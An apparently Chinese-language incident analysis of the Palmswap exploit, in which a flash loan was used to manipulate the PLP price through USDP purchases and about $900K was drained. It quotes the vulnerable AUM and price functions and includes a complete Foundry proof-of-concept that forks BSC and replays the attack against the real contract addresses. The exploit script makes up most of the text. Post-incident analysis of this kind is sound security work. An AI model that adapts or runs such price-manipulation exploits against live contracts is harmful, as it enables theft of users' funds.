Palmswap攻击事件的分析
攻击介绍
Palmswap由于其蹩脚的业务逻辑,导致了价格被黑客操控,导致被黑客盗取了大约$900K
攻击分析
我们通过phalcon来分析。
通过调用栈发现,攻击者先贷了3,000,000的USDT,然后质押1,000,000的USDT来获得大约996,324的PLP,然后用剩下的2,000,000的USDT,去购买了USDP,然后攻击者销毁了持有的所有的PLP,但得到了大约1,947,570的USTD。最后卖出USDP,大约得到1,947,570的USDT。
显然,攻击者在通过购买USDP操纵了PLP的价格。
function getPrice(bool _maximise) external view returns (uint256) {
uint256 aum = getAum(_maximise);
uint256 supply = IERC20Upgradeable(plp).totalSupply();
return (aum * PLP_PRECISION) / supply;
}
function getAums() public view returns (uint256[] memory) {
uint256[] memory amounts = new uint256[](2);
amounts[0] = getAum(true);
amounts[1] = getAum(false);
return amounts;
}
function getAumInUsdp(bool maximise)
public
view
override
returns (uint256)
{
uint256 aum = getAum(maximise);
return (aum * (10**USDP_DECIMALS)) / PRICE_PRECISION;
}
function getAum(bool maximise) public view returns (uint256) {
uint256 length = vault.allWhitelistedTokensLength();
uint256 aum = aumAddition;
IVault _vault = vault;
uint256 collateralTokenPrice = maximise
? _vault.getMaxPrice(collateralToken)
: _vault.getMinPrice(collateralToken);
uint256 collateralDecimals = _vault.tokenDecimals(collateralToken);
uint256 currentAmmDeduction = (vault.permanentPoolAmount() *
collateralTokenPrice) / (10**collateralDecimals);
aum +=
(vault.poolAmount() * collateralTokenPrice) /
(10**collateralDecimals);
.......
很明显攻击者通过买USDP来使Price增大。然后通过移除流动性获利。
POC
pragma solidity ^0.8.10;
import “forge-std/Test.sol”;
import “./interface.sol”;
// Vulnerable Contract : https://bscscan.com/address/0xd990094a611c3de34664dd3664ebf979a1230fc1
// Attack Tx : https://bscscan.com/tx/0x62dba55054fa628845fecded658ff5b1ec1c5823f1a5e0118601aa455a30eac9
interface IVault {
function buyUSDP(address _receiver) external returns (uint256);
function sellUSDP(address _receiver) external returns (uint256);
}
interface ILiquidityEvent {
function purchasePlp(uint256 _amountIn, uint256 _minUsdp, uint256 _minPlp) external returns (uint256 amountOut);
function unstakeAndRedeemPlp(uint256 _plpAmount, uint256 _minOut, address _receiver) external returns (uint256);
}
contract PalmswapTest is Test {
IERC20 BUSDT = IERC20(0x55d398326f99059fF775485246999027B3197955);
IERC20 PLP = IERC20(0x8b47515579c39a31871D874a23Fb87517b975eCC);
IERC20 USDP = IERC20(0x04C7c8476F91D2D6Da5CaDA3B3e17FC4532Fe0cc);
IVault Vault = IVault(0x806f709558CDBBa39699FBf323C8fDA4e364Ac7A);
ILiquidityEvent LiquidityEvent = ILiquidityEvent(0xd990094A611c3De34664dd3664ebf979A1230FC1);
IAaveFlashloan RadiantLP = IAaveFlashloan(0xd50Cf00b6e600Dd036Ba8eF475677d816d6c4281);
address private constant plpManager = 0x6876B9804719d8D9F5AEb6ad1322270458fA99E0;
address private constant fPLP = 0x305496cecCe61491794a4c36D322b42Bb81da9c4;
CheatCodes cheats = CheatCodes(0x7109709ECfa91a80626fF3989D68f67F5b1DD12D);
function setUp() public {
cheats.createSelectFork("bsc", 30_248_637);
cheats.label(address(BUSDT), "BUSDT");
cheats.label(address(PLP), "PLP");
cheats.label(address(USDP), "USDP");
cheats.label(address(Vault), "Vault");
cheats.label(address(LiquidityEvent), "LiquidityEvent");
cheats.label(address(RadiantLP), "RadiantLP");
cheats.label(plpManager, "plpManager");
cheats.label(fPLP, "fPLP");
}
function testExploit() public {
deal(address(BUSDT), address(this), 0);
BUSDT.approve(plpManager, type(uint256).max);
BUSDT.approve(address(RadiantLP), type(uint256).max);
PLP.approve(fPLP, type(uint256).max);
takeFlashLoanOnRadiant();
}
function executeOperation(
address[] calldata assets,
uint256[] calldata amounts,
uint256[] calldata premiums,
address initiator,
bytes calldata params
) external returns (bool) {
uint256 amountOut = LiquidityEvent.purchasePlp(1_000_000 * 1e18, 0, 0);
BUSDT.transfer(address(Vault), 2_000_000 * 1e18);
Vault.buyUSDP(address(this));
uint256 amountUSDP = LiquidityEvent.unstakeAndRedeemPlp(amountOut - 13_294 * 1e15, 0, address(this));
USDP.transfer(address(Vault), amountUSDP - 3154 * 1e18);
Vault.sellUSDP(address(this));
return true;
}
function takeFlashLoanOnRadiant() internal {
address[] memory assets = new address[](1);
assets[0] = address(BUSDT);
uint256[] memory amounts = new uint256[](1);
amounts[0] = 3_000_000 * 1e18;
uint256[] memory modes = new uint256[](1);
modes[0] = 0;
RadiantLP.flashLoan(address(this), assets, amounts, modes, address(this), bytes(""), 0);
}
}